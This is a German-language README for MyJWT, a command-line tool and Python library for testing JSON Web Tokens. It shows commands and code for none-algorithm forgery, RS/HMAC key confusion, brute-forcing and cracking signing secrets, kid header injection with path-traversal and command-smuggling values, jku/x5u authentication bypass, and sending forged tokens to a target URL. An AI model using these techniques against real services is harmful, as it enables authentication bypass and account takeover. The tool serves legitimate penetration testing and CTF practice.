
Ein CLI zum Knacken und Testen von Schwachstellen in JSON Web Token (JWT)
Dieses CLI ist für Pentester, CTF‑Spieler oder Entwickler.
Sie können Ihr JWT modifizieren, signieren, injizieren usw.
Siehe Dokumentation für weitere Informationen.
Wenn Sie Probleme oder Verbesserungsvorschläge sehen, senden Sie ein Issue. Ich werde so schnell wie möglich antworten.
Viel Spaß :)
Dokumentation ist verfügbar unter http://myjwt.readthedocs.io
Um myjwt zu installieren, verwenden Sie einfach pip:
pip install myjwt
Um myjwt von einem Docker‑Image aus auszuführen, führen Sie Folgendes aus:
docker run -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
# mount volume for wordlist
docker run -v $(pwd)/wordlist:/home/wordlist/ -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
# On Windows
docker run -v %CD%/wordlist:/home/wordlist/ -it docker.pkg.github.com/mbouamama/myjwt/myjwt:latest myjwt
Um myjwt auf Git zu installieren:
git clone https://github.com/mBouamama/MyJWT.git
cd ./MyJWT
pip install -r requirements.txt
python MyJWT/myjwt_cli.py --help
Um myjwt auf BlackArch zu installieren:
pacman -S myjwt
$ myjwt --help
Usage: myjwt [OPTIONS] JWT
This cli is for pentesters, CTF players, or dev.
You can modify your jwt, sign, inject ,etc...
Full documentation is at http://myjwt.readthedocs.io.
If you see problems or enhancement send an issue.I will respond as soon as possible.
Enjoy :)
All new jwt will be copy to the clipboard.
Options:
--version Show the version and exit.
--full-payload TEXT New payload for your jwt.Json format Required.
-h, --add-header TEXT Add a new key, value to your jwt header, if key
is present old value will be replaced.Format:
key=value.
-p, --add-payload TEXT Add a new key, value to your jwt payload, if
key is present old value will be
replaced.Format: key=value.
--sign TEXT Sign Your jwt with key given.
--verify TEXT verify your key.
-none, --none-vulnerability Check None Alg vulnerability.
--hmac PATH Check RS/HMAC Alg vulnerability.
--bruteforce PATH Bruteforce to guess the secret used to sign the
token.
-r, --crack TEXT regex to iterate all string possibilities to
guess the secret used to sign the token.
--kid TEXT Kid Injection sql
--jku TEXT Jku Header to bypass authentication
--x5u TEXT X5u Header to bypass authentication
--crt TEXT For x5cHeader, force crt file
--key TEXT For jku or x5c Header, force private key to
your key file
--file TEXT For jku Header and x5u Header, force file name
--print Print Decoded JWT
-u, --url TEXT Url to send your jwt.
-m, --method TEXT Method use for send request to url.(Default
GET).
-d, --data TEXT Data send to your url.Format: key=value. if
value = MY_JWT value will be replace by new
jwt.
-c, --cookies TEXT Cookies to send to your url.Format: key=value.
if value = MY_JWT value will be replace by new
jwt.
--help Show this message and exit.
| Option | Typ | Beispiel | Hilfe |
|---|---|---|---|
| --sign | text | mysecretkey | Signiert Ihr JWT mit Ihrem Schlüssel |
| --verify | text | mysecretkey | Verifiziert Ihren Schlüssel. |
myjwt YOUR_JWT --add-payload "username=admin" --add-header "refresh=false"
from myjwt.modify_jwt import add_header, change_payload
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt
jwt_json = jwt_to_json(jwt)
jwt_json = add_header(jwt_json, {"kid": "001"})
jwt_json = change_payload(jwt_json, {"username": "admin"})
jwt = encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE]
Vollständiges Beispiel hier: 01-modify-jwt
myjwt YOUR_JWT --none-vulnerability
from myjwt.utils import jwt_to_json, SIGNATURE, encode_jwt
from myjwt.vulnerabilities import none_vulnerability
jwt_json = jwt_to_json(jwt)
jwt = none_vulnerability(encode_jwt(jwt_json) + "." + jwt_json[SIGNATURE])
Vollständiges Beispiel hier: 02-none-vulnerability
myjwt YOUR_JWT --sign YOUR_KEY
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
key = "test"
jwt = signature(jwt_to_json(jwt), key)
Vollständiges Beispiel hier: 03-sign-key
myjwt YOUR_JWT --bruteforce PATH
from myjwt.vulnerabilities import bruteforce_wordlist
wordlist = "../../wordlist/common_pass.txt"
key = bruteforce_wordlist(jwt, wordlist)
Vollständiges Beispiel hier: 04-brute-force
myjwt YOUR_JWT --crack REGEX
myjwt YOUR_JWT --hmac FILE
from myjwt.vulnerabilities import confusion_rsa_hmac
file = "public.pem"
jwt = confusion_rsa_hmac(jwt, file)
Vollständiges Beispiel hier: 05-rsa-hmac-confusion
myjwt YOUR_JWT --kid INJECTION
from myjwt.modify_jwt import signature
from myjwt.utils import jwt_to_json
from myjwt.vulnerabilities import inject_sql_kid
injection = "../../../../../../dev/null"
sign = ""
jwt = inject_sql_kid(jwt, injection)
jwt = signature(jwt_to_json(jwt), sign)
Vollständiges Beispiel hier: 06-kid-injection
myjwt YOUR_JWT -u YOUR_URL -c "jwt=MY_JWT" --non-vulnerability --add-payload "username=admin"
myjwt YOUR_JWT --jku YOUR_URL
from myjwt.vulnerabilities import jku_vulnerability
new_jwt = jku_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)
Vollständiges Beispiel hier: 07-jku-bypass
myjwt YOUR_JWT --x5u YOUR_URL
from myjwt.vulnerabilities import x5u_vulnerability
newJwt = x5u_vulnerability(jwt=jwt, url="MYPUBLIC_IP")
print(jwt)
Vollständiges Beispiel hier: 08-x5u-bypass
Überprüfen Sie die GitHub‑Releases. Die neueste Version ist verfügbar unter https://github.com/mBouamama/MyJWT/releases/latest
make lintmake testDas Protokoll ist ziemlich lang geworden. Es wurde in eine eigene Datei verschoben.
Siehe CHANGES.
| Option | Typ | Beispiel | Hilfe |
|---|
| --ful-payload | JSON | {"user": "admin"} | Neue Nutzlast für Ihr JWT. |
| -h, --add-header | key=value | user=admin | Fügt einen neuen Schlüssel/Wert zum JWT‑Header hinzu. Wenn der Schlüssel vorhanden ist, wird der alte Wert ersetzt. |
| -p, --add-payload | key=value | user=admin | Fügt einen neuen Schlüssel/Wert zur JWT‑Nutzlast hinzu. Wenn der Schlüssel vorhanden ist, wird der alte Wert ersetzt. |
| Option | Typ | Beispiel | Hilfe |
|---|
| -none, --none-vulnerability | Nichts | Überprüft die None‑Alg‑Schwachstelle. | |
| --hmac | PFAD | ./public.pem | Überprüft die RS/HMAC‑Alg‑Schwachstelle und signiert Ihr JWT mit dem öffentlichen Schlüssel. |
| --bruteforce | PFAD | ./wordlist/big.txt | Brute‑Force zum Erraten des Geheimnisses, das zum Signieren des Tokens verwendet wurde. Verwendet eine Textdatei mit allen Passwörtern (1 pro Zeile) |
| --crack | REGEX | "[a-z]{4}" | Regex, um alle String‑Möglichkeiten zu durchlaufen und das Geheimnis zum Signieren des Tokens zu erraten. |
| --kid | text | "00; echo /etc/.passwd" | Kid‑Injection (SQL) |
| --jku | text | MYPUBLICIP | Jku‑Header, um Authentifizierung zu umgehen. Verwenden Sie --file, um den JWKS‑Dateinamen zu ändern, und --key, um Ihren eigenen privaten PEM zu verwenden. |
| --x5u | text | MYPUBLICIP | Für Jku‑ oder x5c‑Header. Verwenden Sie --file, um den JWKS‑Dateinamen zu ändern, und --key, um Ihren eigenen privaten PEM zu verwenden. |
| Option | Typ | Beispiel | Hilfe |
|---|
| -u, --url | url | http://challenge01.root-me.org/web-serveur/ch59/admin | URL zum Senden Ihres JWT. |
| -m, --method | text | POST | Methode zum Senden der Anfrage an die URL (Standard: GET). |
| -d, --data | key=value | secret=MY_JWT | Daten, die an Ihre URL gesendet werden. Format: key=value. Wenn value = MY_JWT, wird der Wert durch Ihr neues JWT ersetzt. |
| -c, --cookies | key=value | secret=MY_JWT | Cookies, die an Ihre URL gesendet werden. Format: key=value. Wenn value = MY_JWT, wird der Wert durch Ihr neues JWT ersetzt. |
| Option | Typ | Beispiel | Hilfe |
|---|
| --crt | PFAD | ./public.crt | Für x5c‑Header, erzwingt die CRT‑Datei |
| --key | PFAD | ./private.pem | Für Jku‑ oder x5c‑Header, erzwingt den privaten Schlüssel zu Ihrer Schlüsseldatei |
| --file | text | myfile | Für Jku‑Header, erzwingt den Dateinamen ohne .json‑Erweiterung |
| Nichts | Gibt dekodiertes JWT aus | ||
| --help | Nichts | Zeigt Hilfemeldung an und beendet. | |
| --version | Nichts | Zeigt die MyJWT‑Version an |